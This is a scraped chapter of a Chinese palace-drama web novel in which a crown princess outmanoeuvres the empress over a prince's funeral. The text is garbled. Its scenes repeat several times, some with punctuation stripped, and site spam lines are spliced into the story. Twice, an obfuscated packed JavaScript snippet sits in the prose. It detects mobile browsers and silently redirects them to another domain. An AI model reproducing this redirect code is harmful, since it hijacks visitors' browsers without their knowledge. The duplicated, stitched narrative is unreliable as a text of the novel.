皇后将手边的白玉净瓶狠狠砸到地上“**!**!” “皇上怎么能这样对本宫?这是让云清婳分走本宫的权力啊!” 金嬷嬷叹了口气她劝道:“娘娘陛下许是心疼您太累了所以让太子妃替您分忧。毕竟太子妃是您的亲儿媳啊。” 她故意咬重了‘亲’这个字。 在她看来皇上或许是想要提醒皇后娘娘太子、太子妃是她的亲儿子、亲儿媳他们是一家人。 “不!本宫可没这么**的儿媳妇本宫的儿媳妇只有灵音!陛下就是中了云清婳的苦肉计所以故意打本宫的脸。”她的眼眸猩红。 “让户部把丧礼的银子送来本宫要为赤阳王体体面面地大操大办让他风光大葬!” 金嬷嬷蹙眉“可是太子妃也要操办娘娘若是把银子全部拿走……” 她冷笑:“那是云清婳该考虑的问题与本宫何干!赤阳王丧礼云澈定能解禁!本宫到时候要让云澈大放异彩!” 既然墨染被狐狸精迷了心智忤逆于她她何必要执着于扶持墨染呢? 反正云澈的生母已经**云澈一定比墨染乖顺! 金嬷嬷欲言又止她摇摇头最终什么都没说。 “娘娘东宫来人了说是求您拨些丧礼用的经费。”婢女道。 皇后的眼中流露出阴狠跟幸灾乐祸“告诉云清婳经费全由本宫掌管她若是想拨款请奏陛下交文书来皇上批准本宫就拨。” 婢女讪讪道:“是……” …… 玄音阁。 云清婳正坐在梳妆镜前梳妆。 裴墨染将两个孩子依次举高高孩子欢笑声不断玩得不亦乐乎。 “哈哈哈哈……” “爹爹我我抱我……”辞忧张开双臂小脸都笑红了 “好!”裴墨染一手抱着承基又一手将辞忧举起来。 两个小奶包又叫又笑。 云清婳紧紧蹙起眉她被他们父子三人吵得耳朵疼。 她盯着铜镜道:“夫君当心你的胳膊。” “我早好了!”他将孩子放在木马上“爹爹命人给你们做了秋 千,再长大一点就可以玩了。 “谢谢爹爹。两个孩子异口同声。 裴墨染在心中感慨,蛮蛮把孩子教得真好。 万嬷嬷跟奶娘立即蹲下给孩子擦汗,生怕他们受凉。 裴墨染忽地想到什么,他屏退下人。 云清婳通过镜子看到裴墨染的表情,心中顿感不妙。 糟糕! 狗男人又要作妖了! “辞忧、承基,在御书房,爷爷跟你们说过什么?裴墨染蹲下身问。 云清婳也有点好奇。 “逆子!辞忧的声音变得严肃,明显在模仿皇上。 裴墨染:…… “哈哈哈哈……云清婳笑了,“夫君,皇上能说你什么好话? 承基指着自己,口齿清晰:“好圣孙! 此话一出,裴墨染、云清婳的眼睛都亮了。 云清婳瞪圆了眼睛,手都在颤抖。 皇上对承基寄予厚望啊! “蛮蛮,我好像沾了儿子的光了。 云清婳感受到了前所未有的安然,她起身抱着他,与他分享着不可言的喜悦。 “夫君,阿娴的孩子你还没取名呢。她道。 裴墨染道:“取了,叫承宁,已经把名字送去宗人府,载入玉牒了。愿他能平安顺遂,守大昭安宁。 云清婳颔首,她恨不得立即将这个好消息告诉阿娴。 阿娴一定会很高兴的。 “我还给辞忧取了名,我觉得辞忧不好。裴墨染正色道。 云清婳有种大事不好的感觉。 他又要犯贱了。 “为何?这可是皇上取的。她蹙眉。 “为何男孩的名字寓意恢宏,承担着江山社稷,而女孩的名字就轻飘飘的?他正色道。 云清婳隐隐感到不妙,“所以你给辞忧取了什么名字? 他得意道:“承镇!我的女儿日后也能镇守一方。 “你敢!难听**!她剜了他一眼。 狗男人取这个名字,就以为自己开明了? 若他真有觉悟,将来就把皇位给辞忧继承! 这才叫真正的男女平等! 而不是取 一个‘有寓意’的名字,这种名字跟所谓的胜男、若男、亚男没有区别! 不过在封建时代,裴墨染能有这种觉悟也算不错了。 “好好好,不取就不取。他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身,“主子,皇后娘娘将国库拨的钱全拿走了,说您若是操办丧礼要用,就向皇上递折子,皇上批准,她就拨款。 “可笑!裴墨染的面色阴沉,“赤阳王停灵三日,丧礼就在后日,没有拨款让我们如何办? 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争,把她比下去! 到时候就显得她碌碌无为,而皇后任劳任怨。 “各个夫人来了吗?云清婳问。 飞霜道:“已经在大厅候着了。 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮,你究竟要做什么?裴墨染愈发看不懂了。 她不回答,别有深意地笑了,“夫君,为了我们的将来,你愿不愿意牺牲一下? “…… 云清婳上前一步,他就后退一步。 她抓住裴墨染的腰带,将他往怀里一扯,“躲什么?我会吃了你吗? “你究竟想做什么?他隐隐不安,像是被调戏的黄花大闺女。 她一字一顿:“美男计。 裴墨染突然感觉自己像是教坊司的头牌,“你把我当什么了?我可不是随便的人。 云清婳差点笑出声,“你坐着就行。 到了大厅,各个夫人都精心梳妆打扮,衣袍光鲜亮丽,想必是费了好一番心思。 她们都带了补药、点心之类的,殷切地看着上首的裴墨染。 “见过太子、太子妃。 “免礼。裴墨染淡淡道。 各个夫人重新落座,她们看彼此的眼神都带着敌意,争奇斗艳。 云清婳咳了咳,“想必各位夫人都知道赤阳王的丧礼落在了我的头上,我想选人协助我。 各个夫人恹恹的,无精打采,并不感兴趣。 “若是能将丧礼办好,我重重有赏。 云清婳的话音刚落,婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮,心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染,裴墨染双眼清泓,单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼,殿下定会对妹妹重重有赏,对吗?她笑问。 裴墨染:??? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 一个‘有寓意’的名字,这种名字跟所谓的胜男、若男、亚男没有区别! 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) 不过在封建时代,裴墨染能有这种觉悟也算不错了。 “好好好,不取就不取。”他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身,“主子,皇后娘娘将国库拨的钱全拿走了,说您若是操办丧礼要用,就向皇上递折子,皇上批准,她就拨款。” “可笑!”裴墨染的面色阴沉,“赤阳王停灵三日,丧礼就在后日,没有拨款让我们如何办?” 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争,把她比下去! 到时候就显得她碌碌无为,而皇后任劳任怨。 “各个夫人来了吗?”云清婳问。 飞霜道:“已经在大厅候着了。” 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮,你究竟要做什么?”裴墨染愈发看不懂了。 她不回答,别有深意地笑了,“夫君,为了我们的将来,你愿不愿意牺牲一下?” “……”裴墨染汗**竖起,他觉得不妙。 云清婳上前一步,他就后退一步。 她抓住裴墨染的腰带,将他往怀里一扯,“躲什么?我会吃了你吗?” “你究竟想做什么?”他隐隐不安,像是被调戏的黄花大闺女。 她一字一顿:“美男计。” 裴墨染突然感觉自己像是教坊司的头牌,“你把我当什么了?我可不是随便的人。” 云清婳差点笑出声,“你坐着就行。” 到了大厅,各个夫人都精心梳妆打扮,衣袍光鲜亮丽,想必是费了好一番心思。 她们都带了补药、点心之类的,殷切地看着上首的裴墨染。 “见过太子、太子妃。” “免礼。”裴墨染淡淡道。 各个夫人重新落座,她们看彼此的眼神都带着敌意,争奇斗艳。 云清婳咳了咳,“想必各位夫人都知道赤阳王的丧礼落在了我的头上,我想选人协助我。” 各个夫人恹恹的,无精打采,并不感兴趣。 “若是能将丧礼办好,我重重有赏。” 云清婳的话音刚落,婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮,心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染,裴墨染双眼清泓,单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼,殿下定会对妹妹重重有赏,对吗?”她笑问。 裴墨染:??? 你的朋友正在书荒,快去帮帮他吧 一个‘有寓意’的名字,这种名字跟所谓的胜男、若男、亚男没有区别! 不过在封建时代,裴墨染能有这种觉悟也算不错了。 “好好好,不取就不取。”他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身,“主子,皇后娘娘将国库拨的钱全拿走了,说您若是操办丧礼要用,就向皇上递折子,皇上批准,她就拨款。” “可笑!”裴墨染的面色阴沉,“赤阳王停灵三日,丧礼就在后日,没有拨款让我们如何办?” 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争,把她比下去! 到时候就显得她碌碌无为,而皇后任劳任怨。 “各个夫人来了吗?”云清婳问。 飞霜道:“已经在大厅候着了。” 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮,你究竟要做什么?”裴墨染愈发看不懂了。 她不回答,别有深意地笑了,“夫君,为了我们的将来,你愿不愿意牺牲一下?” “……”裴墨染汗**竖起,他觉得不妙。 云清婳上前一步,他就后退一步。 她抓住裴墨染的腰带,将他往怀里一扯,“躲什么?我会吃了你吗?” “你究竟想做什么?”他隐隐不安,像是被调戏的黄花大闺女。 她一字一顿:“美男计。” 裴墨染突然感觉自己像是教坊司的头牌,“你把我当什么了?我可不是随便的人。” 云清婳差点笑出声,“你坐着就行。” 到了大厅,各个夫人都精心梳妆打扮,衣袍光鲜亮丽,想必是费了好一番心思。 她们都带了补药、点心之类的,殷切地看着上首的裴墨染。 “见过太子、太子妃。” “免礼。”裴墨染淡淡道。 各个夫人重新落座,她们看彼此的眼神都带着敌意,争奇斗艳。 云清婳咳了咳,“想必各位夫人都知道赤阳王的丧礼落在了我的头上,我想选人协助我。” 各个夫人恹恹的,无精打采,并不感兴趣。 “若是能将丧礼办好,我重重有赏。” 云清婳的话音刚落,婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮,心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染,裴墨染双眼清泓,单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼,殿下定会对妹妹重重有赏,对吗?”她笑问。 裴墨染:??? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一个‘有寓意’的名字这种名字跟所谓的胜男、若男、亚男没有区别! 不过在封建时代裴墨染能有这种觉悟也算不错了。 “好好好不取就不取。”他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身“主子皇后娘娘将国库拨的钱全拿走了说您若是操办丧礼要用就向皇上递折子皇上批准她就拨款。” “可笑!”裴墨染的面色阴沉“赤阳王停灵三日丧礼就在后日没有拨款让我们如何办?” 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争把她比下去! 到时候就显得她碌碌无为而皇后任劳任怨。 “各个夫人来了吗?”云清婳问。 飞霜道:“已经在大厅候着了。” 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮你究竟要做什么?”裴墨染愈发看不懂了。 她不回答别有深意地笑了“夫君为了我们的将来你愿不愿意牺牲一下?” “……”裴墨染汗**竖起他觉得不妙。 云清婳上前一步他就后退一步。 她抓住裴墨染的腰带将他往怀里一扯“躲什么?我会吃了你吗?” “你究竟想做什么?”他隐隐不安像是被调戏的黄花大闺女。 她一字一顿:“美男计。” 裴墨染突然感觉自己像是教坊司的头牌“你把我当什么了?我可不是随便的人。” 云清婳差点笑出声“你坐着就行。” 到了大厅各个夫人都精心梳妆打扮衣袍光鲜亮丽想必是费了好一番心思。 她们都带了补药、点心之类的殷切地看着上首的裴墨染。 “见过太子、太子妃。” “免礼。”裴墨染淡淡道。 各个夫人重新落座她们看彼此的眼神都带着敌意争奇斗艳。 云清婳咳了咳“想必各位夫人都知道赤阳王的丧礼落在了我的头上我想选人协助我。” 各个夫人恹恹的 “若是能将丧礼办好我重重有赏。” 云清婳的话音刚落婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染裴墨染双眼清泓单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼殿下定会对妹妹重重有赏对吗?”她笑问。 裴墨染:??? 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 一个‘有寓意’的名字,这种名字跟所谓的胜男、若男、亚男没有区别! 不过在封建时代,裴墨染能有这种觉悟也算不错了。 “好好好,不取就不取。他立即让步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024141|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴墨染让奶娘将孩子抱走。 飞霜福福身,“主子,皇后娘娘将国库拨的钱全拿走了,说您若是操办丧礼要用,就向皇上递折子,皇上批准,她就拨款。 “可笑!裴墨染的面色阴沉,“赤阳王停灵三日,丧礼就在后日,没有拨款让我们如何办? 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争,把她比下去! 到时候就显得她碌碌无为,而皇后任劳任怨。 “各个夫人来了吗?云清婳问。 飞霜道:“已经在大厅候着了。 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮,你究竟要做什么?裴墨染愈发看不懂了。 她不回答,别有深意地笑了,“夫君,为了我们的将来,你愿不愿意牺牲一下? “……裴墨染汗**竖起,他觉得不妙。 云清婳上前一步,他就后退一步。 她抓住裴墨染的腰带,将他往怀里一扯,“躲什么?我会吃了你吗? “你究竟想做什么?他隐隐不安,像是被调戏的黄花大闺女。 她一字一顿:“美男计。 裴墨染突然感觉自己像是教坊司的头牌,“你把我当什么了?我可不是随便的人。 云清婳差点笑出声,“你坐着就行。 到了大厅,各个夫人都精心梳妆打扮,衣袍光鲜亮丽,想必是费了好一番心思。 她们都带了补药、点心之类的,殷切地看着上首的裴墨染。 “见过太子、太子妃。 “免礼。裴墨染淡淡道。 各个夫人重新落座,她们看彼此的眼神都带着敌意,争奇斗艳。 云清婳咳了咳,“想必各位夫人都知道赤阳王的丧礼落在了我的头上,我想选人协助我。 各个夫人恹恹的,无精打采,并不感兴趣。 “若是能将丧礼办好,我重重有赏。 云清婳的话音刚落,婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮,心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染,裴墨染双眼清泓,单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼,殿下定会对妹妹重重有赏,对吗?她笑问。 裴墨染:??? 你的朋友正在书荒,快去帮帮他吧 一个‘有寓意’的名字 不过在封建时代裴墨染能有这种觉悟也算不错了。 “好好好不取就不取。”他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身“主子皇后娘娘将国库拨的钱全拿走了说您若是操办丧礼要用就向皇上递折子皇上批准她就拨款。” “可笑!”裴墨染的面色阴沉“赤阳王停灵三日丧礼就在后日没有拨款让我们如何办?” 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争把她比下去! 到时候就显得她碌碌无为而皇后任劳任怨。 “各个夫人来了吗?”云清婳问。 飞霜道:“已经在大厅候着了。” 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮你究竟要做什么?”裴墨染愈发看不懂了。 她不回答别有深意地笑了“夫君为了我们的将来你愿不愿意牺牲一下?” “……”裴墨染汗**竖起他觉得不妙。 云清婳上前一步他就后退一步。 她抓住裴墨染的腰带将他往怀里一扯“躲什么?我会吃了你吗?” “你究竟想做什么?”他隐隐不安像是被调戏的黄花大闺女。 她一字一顿:“美男计。” 裴墨染突然感觉自己像是教坊司的头牌“你把我当什么了?我可不是随便的人。” 云清婳差点笑出声“你坐着就行。” 到了大厅各个夫人都精心梳妆打扮衣袍光鲜亮丽想必是费了好一番心思。 她们都带了补药、点心之类的殷切地看着上首的裴墨染。 “见过太子、太子妃。” “免礼。”裴墨染淡淡道。 各个夫人重新落座她们看彼此的眼神都带着敌意争奇斗艳。 云清婳咳了咳“想必各位夫人都知道赤阳王的丧礼落在了我的头上我想选人协助我。” 各个夫人恹恹的无精打采并不感兴趣。 “若是能将丧礼办好我重重有赏。” 云清婳的话音刚落婢女便将京城罕见的胭脂水粉、珠钗发簪端了上来。 不少夫人眼前一亮心动不已。 下首掀起了躁动。 云清婳看了眼身边的裴墨染裴墨染双眼清泓单纯得像是一只二哈。 裴墨染:看**什么? “若是能助我办好丧礼殿下定会对妹妹重重有赏对吗?”她笑问。 裴墨染:??? 你的朋友正在书荒,快去帮帮他吧 一个‘有寓意’的名字,这种名字跟所谓的胜男、若男、亚男没有区别! 不过在封建时代,裴墨染能有这种觉悟也算不错了。 “好好好,不取就不取。”他立即让步。 裴墨染让奶娘将孩子抱走。 飞霜福福身,“主子,皇后娘娘将国库拨的钱全拿走了,说您若是操办丧礼要用,就向皇上递折子,皇上批准,她就拨款。” “可笑!”裴墨染的面色阴沉,“赤阳王停灵三日,丧礼就在后日,没有拨款让我们如何办?” 这完全在云清婳的意料之中。 皇后果然会想方设法跟她竞争,把她比下去! 到时候就显得她碌碌无为,而皇后任劳任怨。 “各个夫人来了吗?”云清婳问。 飞霜道:“已经在大厅候着了。” 云清婳命人从私库里拿了些精致无二的胭脂水粉、簪花叠翠。 “蛮蛮,你究竟要做什么?”裴墨染愈发看不懂了。 她不回答,别有深意地笑了,“夫君,为了我们的将来,你愿不愿意牺牲一下?” “……”裴墨染汗**竖起,他觉得不妙。 云清婳上前一步,他就后退一步。 她抓住裴墨染的腰带,将他往怀里一扯,“躲什么?我会吃了你吗?” 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姜瑶儿眼睛都快被闪瞎,她从未拥有过这般昂贵精美的首饰,她衷心地叩首:“妾身谢过太子妃。” 云清婳轻扬下巴,“在座的诸位,还有什么本领?” “……”台下没人应声。 一个穿着鹅黄色襦裙的女子,摇着纤细的水蛇腰上前,她道:“我是陈先锋家的嫡女陈如燕,我力气大。” 裴墨染冷嗤,不屑一顾。 就在云清婳疑惑间,陈如燕把花厅外半人高的盛水大缸抱进来了。 所有人惊呆了。 “……”云 清婳傻眼了。 裴墨染的眼睛亮了,他喃喃:“人才啊!陈将军……教女有方! “如燕,你留下!云清婳挥挥手。 虽然不知道陈如燕有什么用,但她觉得能派上用场。 “谢太子妃。陈如燕福福身。 云清婳扫视了一圈,她问道:“你们何人最长舌?在京中朋友最多? “…… 这不是好事,没人敢应答。 云清婳看向裴墨染,“若是能找到此人,殿下有重赏。 裴墨染:??? “我!一位穿着蓝色衣袍的夫人上前,“妾身是官盐押运使的嫡女柳玉,最喜欢聊是非了,妾身还有一帮忘年交姐妹,她们在街头巷尾常常能听到各种奇闻轶事。 云清婳蹙眉:“如何证明? 柳玉的脸蛋突然红了,她支支吾吾道:“太子妃诞下麒麟子、苏侧妃在蜀地小产、殿下被歹人毒害,都是妾身放出去的消息呢。 “殿下何时被毒害了?云清婳的眼角抽了抽。 “就是前两日啊,妾身好担心呢,殿下一出翊坤宫就晕倒了,殿下可是堂堂战神、身强体健,在西北时,徒手打死过四只母大虫,若不是奸人谋害,怎会晕倒?柳玉说得头头是道。 其他夫人跟着点头,都觉得有道理。 “本宫何时打死过四只母大虫?裴墨染气得半死,他咬牙切齿,“真会造谣! 云清婳却满意极了,“齐活了! 她赏赐完柳玉,起身便走。 裴墨染跟在云清婳身后也准备走,柳玉嘟着嘴,冲他抛了个媚眼,“殿下,您不是要赏赐妾身吗? 裴墨染:“…… 陈如燕叉着腰,大有拦着不让裴墨染走的架势。 姜瑶儿拿起手帕,毫无预兆地哭了起来,“呜呜呜呜……呜呜呜……殿下莫不是骗我的?早知如此,我便不来了! “殿下莫不是有难言之隐?难道是前几日的毒伤了根本?这可……柳玉滔滔不绝,又推断起来。 裴墨染一个头两个大,他低吼:“闭嘴!都下去领赏! 王显立即上前,“三位姑奶奶,走吧!殿下开私库,可是莫大的恩赐。 虽然没有 被召幸,可三人瞬间眉开眼笑,心满意足地走了。 一回寝殿,裴墨染气得在云清婳屁股上拍了两下,“蛮蛮,你把我当什么了?我又不**!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029800|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “什么**?我说你会给赏赐,又没说赏赐是什么,你怎么净往床榻上想?”云清婳装傻。 “强词夺理!”他刮了下她的鼻子。 云清婳哼了一声。 狗男人装什么贞洁烈男? 后宅的女人谁没被他临幸过? “这是美男计!夫君容貌昳丽,没有夫君,我怎么招兵买马?”她讨好地环住他的腰,“你前几日都晕了,病秧子一个,就算把你脱光了送到别人榻上,你能做什么啊?” 一股邪火直冲裴墨染的天灵盖,这小妮子居然瞧不起他? 他将她抱到榻上一顿折腾后,还是不解气。 他怕把病气过给她,才不敢碰她。 她却以为他不行? 这怎么能忍? 到了晚上,榻上才恢复安静。 云清婳满脸是泪,无力地瘫倒在锦衾上。 裴墨染玩味地问:“还敢让我**吗?” “不敢了……”她带着哭腔。 他的眼神闪过厉色,“我行不行?” 她颔首。 “说话啊。”他捏着她的小脸。 她跟猫儿似的,从喉咙里挤出尖细的声音,“行……” …… 苏灵音听闻云清婳将所有夫人召集到玄音阁时,隐隐觉得不对。 她立即将此事传进宫中。 “云清婳,我已经知道你的目的了!我会跟裴墨染、裴云澈拆穿你的真面目,把你打入十八层地狱!让你永世不能翻身!”她咬牙切齿。 …… 赤阳王的丧礼在护国寺举行,当日全国哀悼,所有京官去往护国寺悼念。 皇后天蒙蒙亮就到了护国寺。 她拉着裴云澈的手,一脸心疼,“云澈,你瘦了。” “母后,儿臣无妨。”裴云澈的眼眸像是蒙上了一层灰,毫无生气。 “墨染已经被妖女迷惑,处处与本宫作对,母后心中的储君人选是你。皇上与赤阳王感情深厚,在丧礼上,你一定要好好表现,争取解禁。”皇后道。 裴云澈讳莫如深,他颔首:“儿臣明白。” 云清婳一早就带着姜瑶儿、陈如燕、柳玉到了护国寺。 她想安排人诵经超度、布置灵堂、准备香火纸钱、奏悲乐,可早被皇后的人抢占先机做了。 她根本无法插手。 第242章 双标的皇上 云清婳找到皇后,恭敬的福身,“母后,敢问丧礼有没有臣妾能效劳的地方?” “不必了,本宫跟云澈都安排好了,太子妃去给皇叔上炷香,心意尽到了就好。”皇后的嘴角勾出阴恻恻的笑。 “是。”云清婳的眼中泄出寒意。 等皇上驾到后,皇后就可以说她什么都没有做,而皇后自己跟裴云澈操持了全部。 “怎么办?皇上到时候会不会怪罪?”陈如燕担忧地问。 云清婳压低声音,在她们耳边说了什么。 几人颔首,立即去做。 …… 赤阳王的丧礼十分隆重,满城的菊花全都摆到了护国寺。 几位在外云游的德高望重的圣僧也被皇后在三日内请来诵经。 乐府的乐师皆在此处奏悲乐。 皇上带领文武百官到时,眼中流露出悲意与欣慰。 皇后捕捉到皇上的表情,得意地勾起嘴角。 看来皇上很满意。 裴墨染环视一周,他只觉得铺张浪费。 “参见皇上。”皇后带领众人行礼。 皇上捋着花白的胡子,他道:“短短三日,就能准备得如此好,皇后跟清婳这次辛苦了。” “皇上,这些都是云澈的想法,臣妾只是略尽绵薄之力罢了。至于清婳,臣妾心疼她照料皇孙,便让她歇息了。”皇后笑容和蔼,落落大方地说。 皇上蹙眉,眸色复杂地看向云清婳。 云清婳福福身,“母后心疼清婳,可臣妾怎好意思惫懒?赤阳王仁义无双,殿下这几日每次提到皇叔都伤怀至极,臣妾无法协助母后,但心意总是要尽的。” 皇上面无表情地颔首,让人看不出喜怒。 就在这时,两个小奶包从云清婳身后探出了脑袋,小短腿走得飞快,“爷爷~” 二人争先恐后来到皇上面前,熟稔地张开双臂要抱抱。 众人倒吸了口凉气。 虞贵妃暗中翻了个白眼。 没规矩的东西! 真没教养! “辞忧、承基也来了。”皇上脸上冷硬的线条变得柔和,他弯腰将两个孩子抱了起来,眼神中的慈爱掩藏不住。 众人瞠目结舌。 没想 到皇上如此溺爱两个皇孙。 承基奶呼呼地说:“爷爷不伤心。 辞忧在皇上的脸颊上吧唧亲了一口。 “好孩子。皇上的心受到了莫大的抚慰。 他深深看向云清婳,夸奖道:“太子妃把孩子教养得很好。 “这是臣妾的职责。云清婳福身。 皇后把后槽牙磨得硌吱硌吱响,指甲深深抠进掌心。 虞贵妃嫉妒红了眼,她推了推自己的皇孙宇儿。 宇儿已经三岁了,可每次看到皇上还是犯怵。 他摇摇晃晃的走上前,双腿颤抖,脸色惨白,学着辞忧、承基道:“爷爷…… 皇上没有应声,眼神从他身上一扫而过,“虞贵妃,你跟宴庭要好好教宇儿规矩。 “???虞贵妃震惊了。 皇上纠正道:“宇儿,你应该叫朕皇祖父。 “是……宇儿的眼泪瞬间哗啦啦地掉出来。 皇上的眼中流露出嫌弃,抱着两个孩子就走了。 裴墨染路过睿王身边时,嘲讽道:“东施效颦! 虞贵妃跟睿王气得七窍生烟。 凭什么裴墨染家的贱种就能叫爷爷? …… 皇上带领文武百官上香、拜祭。 拜祭完毕,皇上看见安排祭器、忙碌清瘦的裴云澈,眼中流露出了心疼。 皇后回头看着云清婳,低声道:“你利用孩子就想赢过本宫?手段卑劣! “臣妾不敢抢功,毕竟臣妾的确什么都没有做。云清婳恭敬道。 皇后勾唇,“你明白就好! 接下来,轮到皇室依次拜祭。 先是赤阳王的妻妾、子女,然后就是各个皇子带领家眷跪拜。 皇上站在不远处,看着众人。 大皇子早逝。 二皇子被赶去封地终身不得回京。 紧接着就是裴云澈,他虔诚地跪拜,拿出帕子抹眼泪。 而其他皇子只是敷衍地拜了拜,脸上毫无悲意,甚至有的皇子漫不经心、面露笑意。 皇上见状,脸色越来越凝重。 最后才轮到裴墨染。 两个孩子已经被送回府邸。 云清婳带着 姜瑶儿在后面跪拜。 姜瑶儿已经就绪,她跪在蒲团上。 “呜呜呜呜…… “呜呜呜皇叔,你怎么就走了…… “皇叔,当年是你教殿下射箭的。 她哭得情真意切,如丧考妣。 听到哭声,皇上的眼眶也湿润了,他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情,可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……姜瑶儿清瘦单薄,哭得哀婉。 “她是谁家的?皇弟府中似乎没这个女眷。皇上轻扬下巴,点着姜瑶儿。 御前太监弓着腰,恭敬地答道:“是东宫的姜氏。 “嗯。皇上红着眼眶颔首。 这些皇儿没一个真心的,就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊,他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 明明是她办的丧礼,可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼! “……裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实,云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效,丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫,她越伤心,就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁,皇后狠狠瞪着云清婳,她气急败坏道:“你的手段也不过如此,都是些上不得台面的把戏。 云清婳俏皮地冲她眨眨眼,“臣妾还有更上不得台面的呢。 “什么? 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 办丧礼是一回事,把丧礼办好是另一回事。 一阵脚步声传来。 柳玉满脸是汗地走到云清婳身边,她的嘴唇发白,口干舌燥,嗓子眼都要冒火。 云清婳将她带到灵堂外,“办得怎么样? 她的声音嘶哑:“您交代的事我都办妥了。我不停地找人说,护国寺的和尚、宫女、太监、各个府邸的妾室都被我拉着聊了个遍。 跟来的裴墨染闻言觉得惊奇,原来柳玉的作用是这个。 他俯下身,好奇地问:“蛮蛮,陈如燕有什么用处? 你的朋友正在书荒,快去帮帮他吧 姜瑶儿在后面跪拜。 姜瑶儿已经就绪她跪在蒲团上。 “呜呜呜呜……” “呜呜呜皇叔你怎么就走了……” “皇叔当年是你教殿下射箭的。” 她哭得情真意切如丧考妣。 听到哭声皇上的眼眶也湿润了他不动声色地用帕子擦去眼角的泪。 裴墨染、云清婳挤出悲意的表情可不及姜瑶儿万分之一。 他们俩自愧不如。 “呜呜呜……”姜瑶儿清瘦单薄哭得哀婉。 “她是谁家的?皇弟府中似乎没这个女眷。”皇上轻扬下巴点着姜瑶儿。 御前太监弓着腰恭敬地答道:“是东宫的姜氏。” “嗯。”皇上红着眼眶颔首。 这些皇儿没一个真心的就裴墨染还算有点良心。 若不是裴墨染时常念叨赤阳王的情谊他的妾室怎会哭得这般伤心? 皇后气得差点咬碎银牙。 明明是她办的丧礼可风头全被东宫抢走了! 这怎么能忍? 裴云澈轻蔑一笑:“丢人现眼!” “……”裴墨染根本没眼看。 他恨不得找条地缝钻进去。 其实云清婳也觉得丢人。 但皇上这个老登就吃这一套啊! 只有有效丢不丢人不重要。 云清婳放任姜瑶儿哭。 姜瑶儿代表着东宫她越伤心就表示东宫越伤心。 他们就是要众人听到东宫的哀悼! 一旁皇后狠狠瞪着云清婳她气急败坏道:“你的手段也不过如此都是些上不得台面的把戏。” 云清婳俏皮地冲她眨眨眼“臣妾还有更上不得台面的呢。” “什么?”皇后的细眉一挑眼中出现片刻慌乱。 这个**居然还想了其他招数对付她? 云清婳笑而不语。 皇后不会以为办了丧礼就赢了吧? 办丧礼是一回事把丧礼办好是另一回事。 一阵脚步声传来。 